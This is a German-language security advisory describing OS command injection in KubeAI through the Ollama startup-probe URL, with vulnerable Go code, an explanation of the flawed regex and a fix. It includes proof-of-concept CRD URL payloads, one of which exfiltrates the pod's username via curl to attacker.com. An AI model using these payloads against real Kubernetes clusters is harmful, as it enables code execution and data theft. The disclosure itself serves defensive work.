
OS-Befehlsinjektion in KubeAI über die Modell-URL im Ollama-Startprobe — CVSS 8.7
Schweregrad: Hoch (CVSS 8.7)
CWE: CWE-78 — Unzureichende Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden
Betroffen: github.com/kubeai-project/kubeai <= Commit ba1824e
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI erstellt ein Kubernetes-Startup-Probe-Shellskript, indem es Modell-CRD-URL-Komponenten (ref, modelParam) über fmt.Sprintf in Go in einen bash -c-Befehl interpoliert. Shell-Metazeichen in der URL werden nicht bereinigt, wodurch jeder Benutzer mit Model-CRD-Erstellungs-/Aktualisierungs-RBAC beliebige Befehle in Modellserver-Pods ausführen kann — ohne Cluster-Admin-Rechte.
Ich habe mir Kubernetes-KI-Inferenz-Operatoren angesehen — Tools, mit denen Sie LLMs als K8s-Workloads bereitstellen können, indem Sie CRDs erstellen. KubeAI unterstützt Ollama, vLLM und andere Engines. Meine Hypothese war: Wenn ein Benutzer Model-CRDs erstellen kann, kann er dann beeinflussen, was in den Modell-Pods ausgeführt wird?
Der vLLM-Engine-Code zeigte sofort das richtige Muster: Argumente werden als String-Array an exec übergeben, keine Shell beteiligt. Also habe ich mir die Ollama-Engine zum Vergleich angesehen — und fand fmt.Sprintf("%s %s", pullCmd, u.ref), das in bash -c eingespeist wird. Klassisches Shell-Injection-Setup.
Der URL-Parser-Regex [^?]+ (alles außer ?) ist das, was es besiegelt: Semikolons, Backticks, $() sind alle in u.ref gültig. Ich habe das PoC-YAML geschrieben, angewendet und zugesehen, wie id > /tmp/pwned im Modell-Pod ausgeführt wurde.
Die Nuance, die dies aufwertet: In Multi-Tenant-K8s-Clustern wird Model-CRD-RBAC oft Teams gewährt, die ausdrücklich keine Cluster-Admins sind. Dies gibt einem Mandanten mit eingeschränkten Rechten einen direkten Weg zur Ausführung beliebigen Codes in Modell-Pods — einschließlich Zugriff auf gemountete Secrets und Service-Account-Tokens. Es überschreitet eine Privilegiengrenze, die K8s-RBAC durchsetzen soll.
Datei: internal/modelcontroller/engine_ollama.go, Zeilen 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref und u.modelParam stammen aus dem Model-CRD-URL-Feld — benutzergesteuert
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: keine Bereinigung
)
// ...
}
Diese Zeichenkette wird dann wie folgt ausgeführt:
Command: []string{"bash", "-c", startupProbeScript}
URL-Parser (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Erfassungsgruppe 2 ([^?]+) erlaubt jedes Zeichen außer '?'
// Shell-Metazeichen ; | $() ` sind alle gültig
Vergleich mit der vLLM-Engine (sicher):
// engine_vllm.go — Argumente als Array übergeben, keine Shell beteiligt
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Die Ollama-Engine nimmt eine Abkürzung: Sie baut eine mehrstufige Shell-Pipeline als Zeichenkette auf und übergibt sie an bash -c. Die vLLM-Engine verwendet exec-artige Argument-Arrays. Kein Admission-Webhook oder CRD-Schema-Validierung beschränkt das URL-Feld auf sichere Zeichen.
Siehe poc.yaml — anwenden mit kubectl apply -f poc.yaml auf einem Cluster, auf dem KubeAI mit Ollama-Modellen läuft.
Vektor 1 — ollama://-URL-Ref (Semikolon-Injektion):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Generiertes Startup-Probe:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
Der Befehl id>/tmp/pwned wird ausgeführt und schreibt uid=0(root)... in /tmp/pwned im Pod.
Vektor 2 — ?model=-Abfrageparameter (OOB-Exfiltration):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Generiertes Probe:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltriert den Benutzernamen des Pods an einen angreiferkontrollierten Server.
Model-CRD-RBACErsetzen Sie bash -c <string> durch ein exec-artiges Probe, das Argumente als Array übergibt (wie es die vLLM-Engine bereits tut), oder validieren Sie die URL-Felder gegen ^[a-zA-Z0-9._:/-]+$ vor der Interpolation.